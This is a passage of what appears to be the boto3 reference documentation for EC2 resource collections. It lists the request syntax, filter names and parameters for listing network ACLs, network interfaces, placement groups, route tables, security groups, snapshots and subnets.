the entry (tcp | udp | icmp or a protocol number). + - entry.rule-action - Allows or denies the matching traffic (allow | deny ). + - entry.rule-number - The number of an entry (in other words, rule) in the set of ACL entries. + - network-acl-id - The ID of the network ACL. + - owner-id - The ID of the AWS account that owns the network ACL. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC for the network ACL. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **NetworkAclIds** (_list_) -- + + One or more network ACL IDs. + + Default: Describes all your network ACLs. + + - _(string) --_ +- **NextToken** (_string_) -- The token for the next page of results. +- **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkAcl resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = ec2.network_acls.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +page_size(kwargs_) + +Creates an iterable of all NetworkAcl resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = ec2.network_acls.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +network_interfaces + +A collection of NetworkInterface resources.A NetworkInterface Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = ec2.network_interfaces.all() + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +filter(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection filtered by kwargs passed to method.A NetworkInterface collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = ec2.network_interfaces.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NetworkInterfaceIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - addresses.private-ip-address - The private IPv4 addresses associated with the network interface. + - addresses.primary - Whether the private IPv4 address is the primary IP address associated with the network interface. + - addresses.association.public-ip - The association ID returned when the network interface was associated with the Elastic IP address (IPv4). + - addresses.association.owner-id - The owner ID of the addresses associated with the network interface. + - association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - association.public-dns-name - The public DNS name for the network interface (IPv4). + - attachment.attachment-id - The ID of the interface attachment. + - attachment.attach-time - The time that the network interface was attached to an instance. + - attachment.delete-on-termination - Indicates whether the attachment is deleted when an instance is terminated. + - attachment.device-index - The device index to which the network interface is attached. + - attachment.instance-id - The ID of the instance to which the network interface is attached. + - attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - availability-zone - The Availability Zone of the network interface. + - description - The description of the network interface. + - group-id - The ID of a security group associated with the network interface. + - group-name - The name of a security group associated with the network interface. + - ipv6-addresses.ipv6-address - An IPv6 address associated with the network interface. + - mac-address - The MAC address of the network interface. + - network-interface-id - The ID of the network interface. + - owner-id - The AWS account ID of the network interface owner. + - private-ip-address - The private IPv4 address or addresses of the network interface. + - private-dns-name - The private DNS name of the network interface (IPv4). + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - requester-managed - Indicates whether the network interface is being managed by an AWS service (for example, AWS Management Console, Auto Scaling, and so on). + - source-dest-check - Indicates whether the network interface performs source/destination checking. A value of true means checking is enabled, and false means checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - status - The status of the network interface. If the network interface is not attached to an instance, the status is available ; if a network interface is attached to an instance the status is in-use . + - subnet-id - The ID of the subnet for the network interface. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC for the network interface. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **NetworkInterfaceIds** (_list_) -- + + One or more network interface IDs. + + Default: Describes all your network interfaces. + + - _(string) --_ +- **NextToken** (_string_) -- The token to retrieve the next page of results. +- **MaxResults** (_integer_) -- The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. You cannot specify this parameter and the network interface IDs parameter in the same request. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = ec2.network_interfaces.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +page_size(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = ec2.network_interfaces.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +placement_groups + +A collection of PlacementGroup resources.A PlacementGroup Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all PlacementGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribePlacementGroups) + +**Request Syntax** + +placement_group_iterator = ec2.placement_groups.all() + +Return type + +list(ec2.PlacementGroup) + +Returns + +A list of PlacementGroup resources + +filter(kwargs_) + +Creates an iterable of all PlacementGroup resources in the collection filtered by kwargs passed to method.A PlacementGroup collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribePlacementGroups) + +**Request Syntax** + +placement_group_iterator = ec2.placement_groups.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + GroupNames=[ + 'string', + ], + GroupIds=[ + 'string', + ] +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - group-name - The name of the placement group. + - state - The state of the placement group (pending | available | deleting | deleted ). + - strategy - The strategy of the placement group (cluster | spread | partition ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **GroupNames** (_list_) -- + + The names of the placement groups. + + Default: Describes all your placement groups, or only those otherwise specified. + + - _(string) --_ +- **GroupIds** (_list_) -- + + The IDs of the placement groups. + + - _(string) --_ + +Return type + +list(ec2.PlacementGroup) + +Returns + +A list of PlacementGroup resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of PlacementGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribePlacementGroups) + +**Request Syntax** + +placement_group_iterator = ec2.placement_groups.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.PlacementGroup) + +Returns + +A list of PlacementGroup resources + +page_size(kwargs_) + +Creates an iterable of all PlacementGroup resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribePlacementGroups) + +**Request Syntax** + +placement_group_iterator = ec2.placement_groups.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.PlacementGroup) + +Returns + +A list of PlacementGroup resources + +route_tables + +A collection of RouteTable resources.A RouteTable Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all RouteTable resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = ec2.route_tables.all() + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +filter(kwargs_) + +Creates an iterable of all RouteTable resources in the collection filtered by kwargs passed to method.A RouteTable collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = ec2.route_tables.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + RouteTableIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - association.route-table-association-id - The ID of an association ID for the route table. + - association.route-table-id - The ID of the route table involved in the association. + - association.subnet-id - The ID of the subnet involved in the association. + - association.main - Indicates whether the route table is the main route table for the VPC (true | false ). Route tables that do not have an association ID are not returned in the response. + - owner-id - The ID of the AWS account that owns the route table. + - route-table-id - The ID of the route table. + - route.destination-cidr-block - The IPv4 CIDR range specified in a route in the table. + - route.destination-ipv6-cidr-block - The IPv6 CIDR range specified in a route in the route table. + - route.destination-prefix-list-id - The ID (prefix) of the AWS service specified in a route in the table. + - route.egress-only-internet-gateway-id - The ID of an egress-only Internet gateway specified in a route in the route table. + - route.gateway-id - The ID of a gateway specified in a route in the table. + - route.instance-id - The ID of an instance specified in a route in the table. + - route.nat-gateway-id - The ID of a NAT gateway. + - route.transit-gateway-id - The ID of a transit gateway. + - route.origin - Describes how the route was created. CreateRouteTable indicates that the route was automatically created when the route table was created; CreateRoute indicates that the route was manually added to the route table; EnableVgwRoutePropagation indicates that the route was propagated by route propagation. + - route.state - The state of a route in the route table (active | blackhole ). The blackhole state indicates that the route's target isn't available (for example, the specified gateway isn't attached to the VPC, the specified NAT instance has been terminated, and so on). + - route.vpc-peering-connection-id - The ID of a VPC peering connection specified in a route in the table. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC for the route table. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **RouteTableIds** (_list_) -- + + One or more route table IDs. + + Default: Describes all your route tables. + + - _(string) --_ +- **NextToken** (_string_) -- The token for the next page of results. +- **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of RouteTable resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = ec2.route_tables.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +page_size(kwargs_) + +Creates an iterable of all RouteTable resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = ec2.route_tables.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +security_groups + +A collection of SecurityGroup resources.A SecurityGroup Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all SecurityGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = ec2.security_groups.all() + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +filter(kwargs_) + +Creates an iterable of all SecurityGroup resources in the collection filtered by kwargs passed to method.A SecurityGroup collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = ec2.security_groups.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + GroupIds=[ + 'string', + ], + GroupNames=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + The filters. If using multiple filters for rules, the results include security groups for which any combination of rules - not necessarily a single rule - match all filters. + + - description - The description of the security group. + - egress.ip-permission.cidr - An IPv4 CIDR block for an outbound security group rule. + - egress.ip-permission.from-port - For an outbound rule, the start of port range for the TCP and UDP protocols, or an ICMP type number. + - egress.ip-permission.group-id - The ID of a security group that has been referenced in an outbound security group rule. + - egress.ip-permission.group-name - The name of a security group that has been referenced in an outbound security group rule. + - egress.ip-permission.ipv6-cidr - An IPv6 CIDR block for an outbound security group rule. + - egress.ip-permission.prefix-list-id - The ID of a prefix list to which a security group rule allows outbound access. + - egress.ip-permission.protocol - The IP protocol for an outbound security group rule (tcp | udp | icmp or a protocol number). + - egress.ip-permission.to-port - For an outbound rule, the end of port range for the TCP and UDP protocols, or an ICMP code. + - egress.ip-permission.user-id - The ID of an AWS account that has been referenced in an outbound security group rule. + - group-id - The ID of the security group. + - group-name - The name of the security group. + - ip-permission.cidr - An IPv4 CIDR block for an inbound security group rule. + - ip-permission.from-port - For an inbound rule, the start of port range for the TCP and UDP protocols, or an ICMP type number. + - ip-permission.group-id - The ID of a security group that has been referenced in an inbound security group rule. + - ip-permission.group-name - The name of a security group that has been referenced in an inbound security group rule. + - ip-permission.ipv6-cidr - An IPv6 CIDR block for an inbound security group rule. + - ip-permission.prefix-list-id - The ID of a prefix list from which a security group rule allows inbound access. + - ip-permission.protocol - The IP protocol for an inbound security group rule (tcp | udp | icmp or a protocol number). + - ip-permission.to-port - For an inbound rule, the end of port range for the TCP and UDP protocols, or an ICMP code. + - ip-permission.user-id - The ID of an AWS account that has been referenced in an inbound security group rule. + - owner-id - The AWS account ID of the owner of the security group. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC specified when the security group was created. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **GroupIds** (_list_) -- + + The IDs of the security groups. Required for security groups in a nondefault VPC. + + Default: Describes all your security groups. + + - _(string) --_ +- **GroupNames** (_list_) -- + + [EC2-Classic and default VPC only] The names of the security groups. You can specify either the security group name or the security group ID. For security groups in a nondefault VPC, use the group-name filter to describe security groups by name. + + Default: Describes all your security groups. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **NextToken** (_string_) -- The token to request the next page of results. +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another request with the returned NextToken value. This value can be between 5 and 1000. If this parameter is not specified, then all results are returned. + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of SecurityGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = ec2.security_groups.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +page_size(kwargs_) + +Creates an iterable of all SecurityGroup resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = ec2.security_groups.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +snapshots + +A collection of Snapshot resources.A Snapshot Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Snapshot resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = ec2.snapshots.all() + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +filter(kwargs_) + +Creates an iterable of all Snapshot resources in the collection filtered by kwargs passed to method.A Snapshot collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = ec2.snapshots.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + OwnerIds=[ + 'string', + ], + RestorableByUserIds=[ + 'string', + ], + SnapshotIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - description - A description of the snapshot. + - encrypted - Indicates whether the snapshot is encrypted (true | false ) + - owner-alias - The owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. We recommend that you use the related parameter instead of this filter. + - owner-id - The AWS account ID of the owner. We recommend that you use the related parameter instead of this filter. + - progress - The progress of the snapshot, as a percentage (for example, 80%). + - snapshot-id - The snapshot ID. + - start-time - The time stamp when the snapshot was initiated. + - status - The status of the snapshot (pending | completed | error ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - volume-id - The ID of the volume the snapshot is for. + - volume-size - The size of the volume, in GiB. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **MaxResults** (_integer_) -- The maximum number of snapshot results returned by DescribeSnapshots in paginated output. When this parameter is used, DescribeSnapshots only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeSnapshots request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeSnapshots returns all results. You cannot specify this parameter and the snapshot IDs parameter in the same request. +- **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeSnapshots request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. +- **OwnerIds** (_list_) -- + + Scopes the results to snapshots with the specified owners. You can specify a combination of AWS account IDs, self , and amazon . + + - _(string) --_ +- **RestorableByUserIds** (_list_) -- + + The IDs of the AWS accounts that can create volumes from the snapshot. + + - _(string) --_ +- **SnapshotIds** (_list_) -- + + The snapshot IDs. + + Default: Describes the snapshots for which you have create volume permissions. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Snapshot resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = ec2.snapshots.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +page_size(kwargs_) + +Creates an iterable of all Snapshot resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = ec2.snapshots.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +subnets + +A collection of Subnet resources.A Subnet Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Subnet resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = ec2.subnets.all() + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +filter(kwargs_) + +Creates an iterable of all Subnet resources in the collection filtered by kwargs passed to method.A Subnet collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = ec2.subnets.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + SubnetIds=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - availability-zone - The Availability Zone for the subnet. You can also use availabilityZone as the filter name. + - availability-zone-id - The ID of the Availability Zone for the subnet. You can also use availabilityZoneId as the filter name. + - available-ip-address-count - The number of IPv4 addresses in the subnet that are available. + - cidr-block - The IPv4 CIDR block of the subnet. The CIDR block you specify must exactly match the subnet's CIDR block for information to be returned for the subnet. You can also use cidr or cidrBlock as the filter names. + - default-for-az - Indicates whether this is the default subnet for the Availability Zone. You can also use defaultForAz as the filter name. + - ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the subnet. + - ipv6-cidr-block-association.association-id - An association ID for an IPv6 CIDR block associated with the subnet. + - ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the subnet. + - owner-id - The ID of the AWS account that owns the subnet. + - state - The state of the subnet (pending | available ). + - subnet-arn - The Amazon Resource Name (ARN) of the subnet. + - subnet-id - The ID of the subnet. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC for the subnet. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **SubnetIds** (_list_) -- + + One or more subnet IDs. + + Default: Describes all your subnets. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **NextToken** (_string_) -- The token for the next page of results. +- **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Subnet resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = ec2.subnets.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +page_size(kwargs_) + +Creates an iterable of all Subnet resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = 